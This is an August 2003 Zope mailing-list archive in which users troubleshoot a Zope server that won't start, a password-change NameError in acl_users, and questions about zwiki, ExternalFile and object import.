/var/www/zope/lib/python/ts_regex.py:87: DeprecationWarning: the regex module is deprecated; please use the re module import regex, regsub #, Sync /usr/lib/python2.1/regsub.py:15: DeprecationWarning: the regsub module is deprecated; please use re.sub() DeprecationWarning) What gives, it was working fine then I got a call saying the site wasn't responding. So I restarted Zope and got this. Any help will be greatly appreciated. ============================================ Todd -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030828/ce53d0ea/attachment.htm From list at zettai.net Thu Aug 28 12:20:55 2003 From: list at zettai.net (george donnelly) Date: Thu Aug 28 12:21:15 2003 Subject: [Zope] Zope Manual in Spanish In-Reply-To: <05256D90.0044C5C1.00@bquilla.lattice.com.co> Message-ID: [rpenatez@lattice.com.co wrote (rpenatez@lattice.com.co) on 8/28/03 7:33 AM] > Hola Zopers! > I want to know if out there I can find a Zope Manual in Spanish... > specially I need the Zope Book in Spanish > Necesito un manual de Zope en Espa?ol... en especial el Libro de Zope > RicardoP Not that i am aware of, but if you are interested we can work together to translate this. <--> george donnelly ~ http://www.zettai.net/ ~ "Quality Zope Hosting" Shared and Dedicated Zope Hosting ~ Zope Servers ~ Zope Websites Yahoo, AIM: zettainet ~ MSN: zettainet@hotmail.com ~ ICQ: 51907738 From allison at sumeru.stanford.EDU Thu Aug 28 10:30:20 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Thu Aug 28 12:30:39 2003 Subject: [Zope] Help Error!!! In-Reply-To: <000a01c36d80$433a94e0$e1350a0a@dmsolan> Message-ID: Todd, You have installed a product which use the old (deprecated) regex module rather than the current re module. It should not be a problem (it is only a warning). You may want to find the offending product and either upgrade to a newer version that uses re or modify the product to use re. Your "zope not responding" problem is not related to this particular message. On Thu, 28 Aug 2003, Todd Loomis, (SAIC) wrote: > All: > > I'm getting this error message every time I try to start Zope: > > /var/www/zope/lib/python/ts_regex.py:87: DeprecationWarning: the regex > module is deprecated; please use the re module > import regex, regsub #, Sync > /usr/lib/python2.1/regsub.py:15: DeprecationWarning: the regsub module is > deprecated; please use re.sub() > DeprecationWarning) > > > What gives, it was working fine then I got a call saying the site wasn't > responding. So I restarted Zope and got this. Any help will be greatly > appreciated. > > > ============================================ > > Todd > > > From tloomis at dmso.mil Thu Aug 28 13:32:36 2003 From: tloomis at dmso.mil (Todd Loomis, (SAIC)) Date: Thu Aug 28 12:32:43 2003 Subject: [Zope] Help Error!!! In-Reply-To: Message-ID: <001501c36d81$fd82ea90$e1350a0a@dmsolan> Thanks, however the site has been running for over a year and I've not installed any products recently! ============================================ Todd -----Original Message----- From: Dennis Allison [mailto:allison@sumeru.stanford.EDU] Sent: Thursday, August 28, 2003 12:30 PM To: Todd Loomis, (SAIC) Cc: Zope@zope.org Subject: Re: [Zope] Help Error!!! Todd, You have installed a product which use the old (deprecated) regex module rather than the current re module. It should not be a problem (it is only a warning). You may want to find the offending product and either upgrade to a newer version that uses re or modify the product to use re. Your "zope not responding" problem is not related to this particular message. On Thu, 28 Aug 2003, Todd Loomis, (SAIC) wrote: > All: > > I'm getting this error message every time I try to start Zope: > > /var/www/zope/lib/python/ts_regex.py:87: DeprecationWarning: the regex > module is deprecated; please use the re module > import regex, regsub #, Sync > /usr/lib/python2.1/regsub.py:15: DeprecationWarning: the regsub module > is deprecated; please use re.sub() > DeprecationWarning) > > > What gives, it was working fine then I got a call saying the site > wasn't responding. So I restarted Zope and got this. Any help will be > greatly appreciated. > > > ============================================ > > Todd > > > From allison at sumeru.stanford.EDU Thu Aug 28 10:42:52 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Thu Aug 28 12:43:07 2003 Subject: [Zope] Help Error!!! In-Reply-To: <001501c36d81$fd82ea90$e1350a0a@dmsolan> Message-ID: Hmmm... I suppose it could be due to asn error routine that only imports regex when called... You might want to grep over the source and find where it gets imported. Where to look, of course, depends upon your zope setup. BTW, you didn't say which zope version you are using. Incidentally, the deprecation warning comes from python and not from zope. On Thu, 28 Aug 2003, Todd Loomis, (SAIC) wrote: > Thanks, however the site has been running for over a year and I've not > installed any products recently! > > ============================================ > Todd > > > > -----Original Message----- > From: Dennis Allison [mailto:allison@sumeru.stanford.EDU] > Sent: Thursday, August 28, 2003 12:30 PM > To: Todd Loomis, (SAIC) > Cc: Zope@zope.org > Subject: Re: [Zope] Help Error!!! > > > Todd, > You have installed a product which use the old (deprecated) regex module > rather than the current re module. It should not be a problem (it is only > a warning). You may want to find the offending product and either upgrade > to a newer version that uses re or modify the product to use re. > > Your "zope not responding" problem is not related to this particular > message. > > > On Thu, 28 Aug 2003, Todd Loomis, (SAIC) wrote: > > > All: > > > > I'm getting this error message every time I try to start Zope: > > > > /var/www/zope/lib/python/ts_regex.py:87: DeprecationWarning: the regex > > module is deprecated; please use the re module > > import regex, regsub #, Sync > > /usr/lib/python2.1/regsub.py:15: DeprecationWarning: the regsub module > > is deprecated; please use re.sub() > > DeprecationWarning) > > > > > > What gives, it was working fine then I got a call saying the site > > wasn't responding. So I restarted Zope and got this. Any help will be > > greatly appreciated. > > > > > > ============================================ > > > > Todd > > > > > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From shane at zope.com Thu Aug 28 13:42:18 2003 From: shane at zope.com (Shane Hathaway) Date: Thu Aug 28 12:44:02 2003 Subject: [Zope] Re: [Zope-dev] Help!! In-Reply-To: <001401c36d81$a71c14b0$e1350a0a@dmsolan> References: <20030828161809.GF4592@slinkp.com> <001401c36d81$a71c14b0$e1350a0a@dmsolan> Message-ID: <3F4E30EA.9050601@zope.com> (I've switched the thread to zope@zope.org.) Todd Loomis, (SAIC) wrote: > Thanks, however I've searched the mailing lists and found nothing. Also I > consider this an error when Zope will not startup! Apparently something other than those warnings are preventing Zope from starting. What version of Zope and Python are you running, and on what operating system? Do you have a log file in the "var" directory? Have you looked at it? Shane From pw_lists at slinkp.com Thu Aug 28 13:50:35 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Thu Aug 28 12:54:00 2003 Subject: [Zope] Help Error!!! In-Reply-To: References: <001501c36d81$fd82ea90$e1350a0a@dmsolan> Message-ID: <20030828165035.GA5476@slinkp.com> On Thu, Aug 28, 2003 at 09:42:52AM -0700, Dennis Allison wrote: > Hmmm... I suppose it could be due to asn error routine that only imports > regex when called... You might want to grep over the source and find > where it gets imported. Where to look, of course, depends upon your > zope setup. BTW, you didn't say which zope version you are using. > > Incidentally, the deprecation warning comes from python and not from > zope. My bet is that he's running an older version of zope... <= 2.5.x reported this warning routinely IIRC... but he hasn't said so that's just a guess. Todd, if you check the logs I think you will see that this "error" has been reported every time zope starts, for as long as you've been running it. BTW, you cross-posted... that's generally not approved of here. I'll follow up in this thread and ignore the one on zope-dev. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's CARBONATED GYNECOLOGIST ACTUATOR! (random hero from isometric.spaceninja.com) From pw_lists at slinkp.com Thu Aug 28 13:58:48 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Thu Aug 28 13:02:05 2003 Subject: [Zope] Help Error!!! In-Reply-To: <20030828165035.GA5476@slinkp.com> References: <001501c36d81$fd82ea90$e1350a0a@dmsolan> <20030828165035.GA5476@slinkp.com> Message-ID: <20030828165848.GB5476@slinkp.com> Following up from the thread on zope-dev... keeping it on this list now... > What have you done to verify that zope isn't running? >> When I do a start it comes back with these warnings in the log >> files and when I try to load the site it gives me a proxy error. ok, the proxy error is more interesting... Are you running behind apache or some other proxy server? > What platform are you on? >> Redhat 7.2 OK. try this at the command line: ps ax | grep py You should see several python processes running. What do you get? Also if you have links or lynx or wget installed, you should be able to test the zope server directly from the command line, like so: links http://localhost:8080 lynx http://localhost:8080 (either of those should show you the zope welcome page) wget http://localhost:8080 (that should download the zope welcome page to a file) > What version of Zope? >> 2.4.3 ok, that explains the deprecation warnings. Forget about them... they're not relevant... REALLY. Zope 2.4.3 *always* gave this warning. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's UN-PILL HATER! (random hero from isometric.spaceninja.com) From tloomis at dmso.mil Thu Aug 28 14:07:56 2003 From: tloomis at dmso.mil (Todd Loomis, (SAIC)) Date: Thu Aug 28 13:08:34 2003 Subject: [Zope] Help Error!!! In-Reply-To: <20030828165848.GB5476@slinkp.com> Message-ID: <001701c36d86$ed25ab60$e1350a0a@dmsolan> See Below -----Original Message----- From: zope-bounces@zope.org [mailto:zope-bounces@zope.org] On Behalf Of Paul Winkler Sent: Thursday, August 28, 2003 12:59 PM To: Zope@zope.org Subject: Re: [Zope] Help Error!!! Following up from the thread on zope-dev... keeping it on this list now... > What have you done to verify that zope isn't running? >> When I do a start it comes back with these warnings in the log >> files and when I try to load the site it gives me a proxy error. ok, the proxy error is more interesting... Are you running behind apache or some other proxy server? Apache > What platform are you on? >> Redhat 7.2 OK. try this at the command line: ps ax | grep py You should see several python processes running. What do you get? 1281 pts/0 S 0:00 grep py Also if you have links or lynx or wget installed, you should be able to test the zope server directly from the command line, like so: links http://localhost:8080 lynx http://localhost:8080 (either of those should show you the zope welcome page) wget http://localhost:8080 (that should download the zope welcome page to a file) Looking up localhost:8080 localhost:8080 Making HTTP connection to localhost:8080 Alert!: Unable to connect to remote host. lynx: Can't access startfile http://localhost:8080/ > What version of Zope? >> 2.4.3 ok, that explains the deprecation warnings. Forget about them... they're not relevant... REALLY. Zope 2.4.3 *always* gave this warning. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's UN-PILL HATER! (random hero from isometric.spaceninja.com) _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) From pw_lists at slinkp.com Thu Aug 28 14:17:18 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Thu Aug 28 13:21:27 2003 Subject: [Zope] Help Error!!! In-Reply-To: <001701c36d86$ed25ab60$e1350a0a@dmsolan> References: <20030828165848.GB5476@slinkp.com> <001701c36d86$ed25ab60$e1350a0a@dmsolan> Message-ID: <20030828171718.GA5644@slinkp.com> On Thu, Aug 28, 2003 at 01:07:56PM -0400, Todd Loomis, (SAIC) wrote: > > You should see several python processes running. > > What do you get? > 1281 pts/0 S 0:00 grep py OK, zope is definitely not running. What command do you use to start zope? is it the usual "start" shell script? If so, please show the contents of that script. I'd like to see what startup options are being used. Next, please give *all* console output that you get from that command. And please give complete log output starting from when you try to start zope. That should tell us something... -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's MECHA RANDY SPOT-WELDER! (random hero from isometric.spaceninja.com) From declanshanaghy at yahoo.com Thu Aug 28 10:57:21 2003 From: declanshanaghy at yahoo.com (Declan Shanaghy) Date: Thu Aug 28 13:38:12 2003 Subject: [Zope] Redirect without displaying page In-Reply-To: <004b01c36d7a$49a1bd00$6300000a@penfold> Message-ID: <20030828165721.39075.qmail@web80407.mail.yahoo.com> The first thing that comes to mind is calling wget with an external method. Im not even sure if you HAVE to have an external method to call wget, just that i used one when i did it. --- Jack Hughes wrote: > Hello all, > > I am trying to integrate our systems with an external > email list company. > They provide a URL with various arguments relating to > email address, first > name, last name etc. > > I need to be able to call (from a python script) the > external URL with > arguments as if it were a function. I do not want to > display the results of > the call, other than to validate that the call succeeded. > How do I go about > achieving this? Is there a python method for doing this? > > Cheers, > > Jack Hughes > OPENXTRA Ltd. > http://www.openxtra.com/ > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From jet.wilda at kobie.com Thu Aug 28 15:08:15 2003 From: jet.wilda at kobie.com (Jet Wilda) Date: Thu Aug 28 14:35:34 2003 Subject: [Zope] Changing password in acl_users doesn't work Message-ID: <8B7573C4677F7F42B0E4AC353EC54C2850DB28@kmexch02.KM.KOBIELOYALTY> When I go into the acl_users folder in the root of the ZMI "/acl_users" and click on a user to change the password it throws this error: Error Type: NameError Error Value: global name 'pw' is not defined How do I fix this? Jet From chrism at zope.com Thu Aug 28 19:44:12 2003 From: chrism at zope.com (Chris McDonough) Date: Thu Aug 28 14:44:14 2003 Subject: [Zope] Changing password in acl_users doesn't work In-Reply-To: <8B7573C4677F7F42B0E4AC353EC54C2850DB28@kmexch02.KM.KOBIELOYALTY> References: <8B7573C4677F7F42B0E4AC353EC54C2850DB28@kmexch02.KM.KOBIELOYALTY> Message-ID: <1062096179.1838.5.camel@james> I want to say that this sounds like a familiar old bug in an old release of Zope. Which Zope release? On Thu, 2003-08-28 at 14:08, Jet Wilda wrote: > When I go into the acl_users folder in the root of the ZMI "/acl_users" > and click on a user to change the password it throws this error: > Error Type: NameError > Error Value: global name 'pw' is not defined > > How do I fix this? > > Jet > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) -- Chris McDonough Zope Corporation From jet.wilda at kobie.com Thu Aug 28 15:43:15 2003 From: jet.wilda at kobie.com (Jet Wilda) Date: Thu Aug 28 14:49:49 2003 Subject: [Zope] Changing password in acl_users doesn't work Message-ID: <8B7573C4677F7F42B0E4AC353EC54C2850DB2A@kmexch02.KM.KOBIELOYALTY> I'm running Zope2.6.1 on Linux with python2.1.3 > -----Original Message----- > From: Jet Wilda > Sent: Thursday, August 28, 2003 2:08 PM > To: zope@zope.org > Subject: [Zope] Changing password in acl_users doesn't work > > > When I go into the acl_users folder in the root of the ZMI > "/acl_users" and click on a user to change the password it > throws this error: > Error Type: NameError > Error Value: global name 'pw' is not defined > > How do I fix this? > > Jet > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross > posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From chrism at zopemafia.com Thu Aug 28 19:56:55 2003 From: chrism at zopemafia.com (Chris McDonough) Date: Thu Aug 28 15:03:43 2003 Subject: [Zope] Changing password in acl_users doesn't work In-Reply-To: <8B7573C4677F7F42B0E4AC353EC54C2850DB2A@kmexch02.KM.KOBIELOYALTY> References: <8B7573C4677F7F42B0E4AC353EC54C2850DB2A@kmexch02.KM.KOBIELOYALTY> Message-ID: <1062097051.1837.8.camel@james> Nope, I was wrong. Nothing in the change logs about it. What kind of user folder is it? (e.g. does it say "User Folder" on its management interface, indicating it's the stock user folder or does it say something else?). Showing us the error captured in the error_log related to this would be helpful too (and would answer the previous question as well). On Thu, 2003-08-28 at 14:43, Jet Wilda wrote: > I'm running Zope2.6.1 on Linux with python2.1.3 > > > -----Original Message----- > > From: Jet Wilda > > Sent: Thursday, August 28, 2003 2:08 PM > > To: zope@zope.org > > Subject: [Zope] Changing password in acl_users doesn't work > > > > > > When I go into the acl_users folder in the root of the ZMI > > "/acl_users" and click on a user to change the password it > > throws this error: > > Error Type: NameError > > Error Value: global name 'pw' is not defined > > > > How do I fix this? > > > > Jet > > > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross > > posts or HTML encoding! ** > > (Related lists - > > http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From jet.wilda at kobie.com Thu Aug 28 16:04:51 2003 From: jet.wilda at kobie.com (Jet Wilda) Date: Thu Aug 28 15:09:30 2003 Subject: [Zope] Changing password in acl_users doesn't work Message-ID: <8B7573C4677F7F42B0E4AC353EC54C2850DB2C@kmexch02.KM.KOBIELOYALTY> It is the stock user folder and says "User Folder". I figured why it is doing this. Under the properties tab if I have "Encrypt user passwords" checked then it throws that error. If I uncheck it then the error goes away. On a side note how do I get the error_log? > -----Original Message----- > From: Chris McDonough [mailto:chrism@zopemafia.com] > Sent: Thursday, August 28, 2003 2:58 PM > To: Jet Wilda > Cc: zope@zope.org > Subject: RE: [Zope] Changing password in acl_users doesn't work > > > Nope, I was wrong. Nothing in the change logs about it. > What kind of user folder is it? (e.g. does it say "User > Folder" on its management interface, indicating it's the > stock user folder or does it say something else?). Showing > us the error captured in the error_log related to this would > be helpful too (and would answer the previous question as well). > > On Thu, 2003-08-28 at 14:43, Jet Wilda wrote: > > I'm running Zope2.6.1 on Linux with python2.1.3 > > > > > -----Original Message----- > > > From: Jet Wilda > > > Sent: Thursday, August 28, 2003 2:08 PM > > > To: zope@zope.org > > > Subject: [Zope] Changing password in acl_users doesn't work > > > > > > > > > When I go into the acl_users folder in the root of the ZMI > > > "/acl_users" and click on a user to change the password it > > > throws this error: > > > Error Type: NameError > > > Error Value: global name 'pw' is not defined > > > > > > How do I fix this? > > > > > > Jet > > > > > > > > > > > > _______________________________________________ > > > Zope maillist - Zope@zope.org > > > http://mail.zope.org/mailman/listinfo/zope > > > ** No cross > > > posts or HTML encoding! ** > > > (Related lists - > > > http://mail.zope.org/mailman/listinfo/zope-announce > > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > From chrism at zopemafia.com Thu Aug 28 20:23:13 2003 From: chrism at zopemafia.com (Chris McDonough) Date: Thu Aug 28 15:23:15 2003 Subject: [Zope] Changing password in acl_users doesn't work In-Reply-To: <8B7573C4677F7F42B0E4AC353EC54C2850DB2C@kmexch02.KM.KOBIELOYALTY> References: <8B7573C4677F7F42B0E4AC353EC54C2850DB2C@kmexch02.KM.KOBIELOYALTY> Message-ID: <1062098632.1837.10.camel@james> You visit the error_log object in the root of your site. On Thu, 2003-08-28 at 15:04, Jet Wilda wrote: > It is the stock user folder and says "User Folder". I figured why it is > doing this. Under the properties tab if I have "Encrypt user passwords" > checked then it throws that error. If I uncheck it then the error goes > away. > On a side note how do I get the error_log? > > > -----Original Message----- > > From: Chris McDonough [mailto:chrism@zopemafia.com] > > Sent: Thursday, August 28, 2003 2:58 PM > > To: Jet Wilda > > Cc: zope@zope.org > > Subject: RE: [Zope] Changing password in acl_users doesn't work > > > > > > Nope, I was wrong. Nothing in the change logs about it. > > What kind of user folder is it? (e.g. does it say "User > > Folder" on its management interface, indicating it's the > > stock user folder or does it say something else?). Showing > > us the error captured in the error_log related to this would > > be helpful too (and would answer the previous question as well). > > > > On Thu, 2003-08-28 at 14:43, Jet Wilda wrote: > > > I'm running Zope2.6.1 on Linux with python2.1.3 > > > > > > > -----Original Message----- > > > > From: Jet Wilda > > > > Sent: Thursday, August 28, 2003 2:08 PM > > > > To: zope@zope.org > > > > Subject: [Zope] Changing password in acl_users doesn't work > > > > > > > > > > > > When I go into the acl_users folder in the root of the ZMI > > > > "/acl_users" and click on a user to change the password it > > > > throws this error: > > > > Error Type: NameError > > > > Error Value: global name 'pw' is not defined > > > > > > > > How do I fix this? > > > > > > > > Jet > > > > > > > > > > > > > > > > _______________________________________________ > > > > Zope maillist - Zope@zope.org > > > > http://mail.zope.org/mailman/listinfo/zope > > > > ** No cross > > > > posts or HTML encoding! ** > > > > (Related lists - > > > > http://mail.zope.org/mailman/listinfo/zope-announce > > > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > > > > > > _______________________________________________ > > > Zope maillist - Zope@zope.org > > > http://mail.zope.org/mailman/listinfo/zope > > > ** No cross posts or HTML encoding! ** > > > (Related lists - > > > http://mail.zope.org/mailman/listinfo/zope-announce > > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From mark at kaivo.com Thu Aug 28 14:40:09 2003 From: mark at kaivo.com (Mark Gibson) Date: Thu Aug 28 15:25:19 2003 Subject: [Zope] Changing password in acl_users doesn't work In-Reply-To: <8B7573C4677F7F42B0E4AC353EC54C2850DB2C@kmexch02.KM.KOBIELOYALTY> References: <8B7573C4677F7F42B0E4AC353EC54C2850DB2C@kmexch02.KM.KOBIELOYALTY> Message-ID: <3F4E5A99.6050200@kaivo.com> Looks like there's a patched User.py available. http://collector.zope.org/Zope/835 Mark Jet Wilda wrote: > It is the stock user folder and says "User Folder". I figured why it is > doing this. Under the properties tab if I have "Encrypt user passwords" > checked then it throws that error. If I uncheck it then the error goes > away. > On a side note how do I get the error_log? > > >>-----Original Message----- >>From: Chris McDonough [mailto:chrism@zopemafia.com] >>Sent: Thursday, August 28, 2003 2:58 PM >>To: Jet Wilda >>Cc: zope@zope.org >>Subject: RE: [Zope] Changing password in acl_users doesn't work >> >> >>Nope, I was wrong. Nothing in the change logs about it. >>What kind of user folder is it? (e.g. does it say "User >>Folder" on its management interface, indicating it's the >>stock user folder or does it say something else?). Showing >>us the error captured in the error_log related to this would >>be helpful too (and would answer the previous question as well). >> >>On Thu, 2003-08-28 at 14:43, Jet Wilda wrote: >> >>>I'm running Zope2.6.1 on Linux with python2.1.3 >>> >>> >>>>-----Original Message----- >>>>From: Jet Wilda >>>>Sent: Thursday, August 28, 2003 2:08 PM >>>>To: zope@zope.org >>>>Subject: [Zope] Changing password in acl_users doesn't work >>>> >>>> >>>>When I go into the acl_users folder in the root of the ZMI >>>>"/acl_users" and click on a user to change the password it >>>>throws this error: >>>> Error Type: NameError >>>> Error Value: global name 'pw' is not defined >>>> >>>>How do I fix this? >>>> >>>>Jet >>>> >>>> >>>> >>>>_______________________________________________ >>>>Zope maillist - Zope@zope.org >>>>http://mail.zope.org/mailman/listinfo/zope >>>>** No cross >>>>posts or HTML encoding! ** >>>>(Related lists - >>>> http://mail.zope.org/mailman/listinfo/zope-announce >>>> http://mail.zope.org/mailman/listinfo/zope-dev ) >>>> >>> >>>_______________________________________________ >>>Zope maillist - Zope@zope.org >>>http://mail.zope.org/mailman/listinfo/zope >>>** No cross posts or HTML encoding! ** >>>(Related lists - >>> http://mail.zope.org/mailman/listinfo/zope-announce >>> http://mail.zope.org/mailman/listinfo/zope-dev ) >> >> > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From chrism at zopemafia.com Thu Aug 28 20:28:36 2003 From: chrism at zopemafia.com (Chris McDonough) Date: Thu Aug 28 15:28:38 2003 Subject: [Zope] Changing password in acl_users doesn't work In-Reply-To: <3F4E5A99.6050200@kaivo.com> References: <8B7573C4677F7F42B0E4AC353EC54C2850DB2C@kmexch02.KM.KOBIELOYALTY> <3F4E5A99.6050200@kaivo.com> Message-ID: <1062098956.1838.12.camel@james> Aha! Nice detective work. ;-) On Thu, 2003-08-28 at 15:40, Mark Gibson wrote: > Looks like there's a patched User.py available. > > http://collector.zope.org/Zope/835 > > Mark > > Jet Wilda wrote: > > It is the stock user folder and says "User Folder". I figured why it is > > doing this. Under the properties tab if I have "Encrypt user passwords" > > checked then it throws that error. If I uncheck it then the error goes > > away. > > On a side note how do I get the error_log? > > > > > >>-----Original Message----- > >>From: Chris McDonough [mailto:chrism@zopemafia.com] > >>Sent: Thursday, August 28, 2003 2:58 PM > >>To: Jet Wilda > >>Cc: zope@zope.org > >>Subject: RE: [Zope] Changing password in acl_users doesn't work > >> > >> > >>Nope, I was wrong. Nothing in the change logs about it. > >>What kind of user folder is it? (e.g. does it say "User > >>Folder" on its management interface, indicating it's the > >>stock user folder or does it say something else?). Showing > >>us the error captured in the error_log related to this would > >>be helpful too (and would answer the previous question as well). > >> > >>On Thu, 2003-08-28 at 14:43, Jet Wilda wrote: > >> > >>>I'm running Zope2.6.1 on Linux with python2.1.3 > >>> > >>> > >>>>-----Original Message----- > >>>>From: Jet Wilda > >>>>Sent: Thursday, August 28, 2003 2:08 PM > >>>>To: zope@zope.org > >>>>Subject: [Zope] Changing password in acl_users doesn't work > >>>> > >>>> > >>>>When I go into the acl_users folder in the root of the ZMI > >>>>"/acl_users" and click on a user to change the password it > >>>>throws this error: > >>>> Error Type: NameError > >>>> Error Value: global name 'pw' is not defined > >>>> > >>>>How do I fix this? > >>>> > >>>>Jet > >>>> > >>>> > >>>> > >>>>_______________________________________________ > >>>>Zope maillist - Zope@zope.org > >>>>http://mail.zope.org/mailman/listinfo/zope > >>>>** No cross > >>>>posts or HTML encoding! ** > >>>>(Related lists - > >>>> http://mail.zope.org/mailman/listinfo/zope-announce > >>>> http://mail.zope.org/mailman/listinfo/zope-dev ) > >>>> > >>> > >>>_______________________________________________ > >>>Zope maillist - Zope@zope.org > >>>http://mail.zope.org/mailman/listinfo/zope > >>>** No cross posts or HTML encoding! ** > >>>(Related lists - > >>> http://mail.zope.org/mailman/listinfo/zope-announce > >>> http://mail.zope.org/mailman/listinfo/zope-dev ) > >> > >> > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From dieter at handshake.de Thu Aug 28 21:56:51 2003 From: dieter at handshake.de (Dieter Maurer) Date: Thu Aug 28 15:29:25 2003 Subject: [Zope] how to ref property of an object. In-Reply-To: References: Message-ID: <16206.20595.756260.262096@gargle.gargle.HOWL> Hamzat Kamal wrote at 2003-8-27 20:12 +0100: > I intend to display the title of an image as caption for the image when the > image is dsplay. > > Can anybody assist me? What is your problem? What you write sounds so trivial that it is unbelievable... Dieter From dieter at handshake.de Thu Aug 28 22:05:56 2003 From: dieter at handshake.de (Dieter Maurer) Date: Thu Aug 28 15:30:23 2003 Subject: [Zope] 'import' directory accesible from scripting. In-Reply-To: References: Message-ID: <16206.21140.136977.256771@gargle.gargle.HOWL> Luis Lavena wrote at 2003-8-27 21:10 -0300: > I think that I start getting the picture: > (please correct me if I'm wrong) > > What I need is my own Folderish (ObjectManager implementation) with a > customized manage_importObject() which at the same time call > _importObjectFromFile() to handle the "real" file import process. No. What you need is easier. You need *some* method (which may be an External Method) that somehow gets a file (maybe via an "ZPublisher.HTTPRequest.FileUpload" instance or as a file name which it opens) and then calls the "_importObjectFromFile" of the target with this file. That's it. Dieter From dieter at handshake.de Thu Aug 28 22:02:45 2003 From: dieter at handshake.de (Dieter Maurer) Date: Thu Aug 28 15:31:23 2003 Subject: [Zope] zwiki authentication? In-Reply-To: <47506.10.10.1.71.1062025750.squirrel@webmailtest.shcorp.com> References: <47506.10.10.1.71.1062025750.squirrel@webmailtest.shcorp.com> Message-ID: <16206.20949.883527.665196@gargle.gargle.HOWL> Kurt Yoder wrote at 2003-8-27 19:09 -0400: > So I've got zwiki installed. I can allow anonymous users to > modify/add/delete pages. I can also restrict anonymous users to only > view pages. So how do I add a "login to edit" link somewhere to the > page that allows me to tell zwiki who I'm connecting as? That way I > can say "only x, y, and z can edit this page, everyone else can only > view it". Read the ZWiki documentation: ZWiki uses a template to render the page. Usually, it is internal. But when there is a script of the correct name, this one is used. I do not know the name of the script. You have to check the documentation. Dieter From dieter at handshake.de Thu Aug 28 22:17:46 2003 From: dieter at handshake.de (Dieter Maurer) Date: Thu Aug 28 15:32:18 2003 Subject: [Zope] Scripting ExternalFile In-Reply-To: <3F4DDD38.7080800@optushome.com.au> References: <3F4DDD38.7080800@optushome.com.au> Message-ID: <16206.21850.311395.294174@gargle.gargle.HOWL> David Mitchell wrote at 2003-8-28 20:45 +1000: > I've got a script that generates HTML content on a regular basis, and I > want to be able to make it visible via Zope. The ExternalFile product > is just about perfect, except that I want to be able to script the > "inclusion" of files into the Zope infrastructure rather than go > ExternalFile's GUI each time. > > I can't just leave the HTML content out in the file system; I need to be > able to manage access using Zope's security system. > > Has anyone got any pointers on how to do this, or even point me in the > right direction? Any Zope object provides methods to manage its content. The Management Interface (ZMI) use (part of) these methods to perform its task. You can either: * look at the ZMI source to find out which methods it uses * look at the source to find out which methods are available * use my "DocFinder" product to get this information Dieter From dieter at handshake.de Thu Aug 28 20:58:11 2003 From: dieter at handshake.de (Dieter Maurer) Date: Thu Aug 28 15:33:11 2003 Subject: [Zope] maintaining consistent security settings across cloned sites In-Reply-To: References: <16205.1510.311372.224174@gargle.gargle.HOWL> Message-ID: <16206.17075.790189.361028@gargle.gargle.HOWL> Dennis Allison wrote at 2003-8-27 14:03 -0700: > Does this hold true for XMLRPC transfers as well? That depends what the function does which is called by XMLRPC ;-) It would be a world wonder when XMLRPC were able to remove just the security related attributes from the data stream... > On Wed, 27 Aug 2003, Dieter Maurer wrote: > > > Dennis Allison wrote at 2003-8-26 10:59 -0700: > > 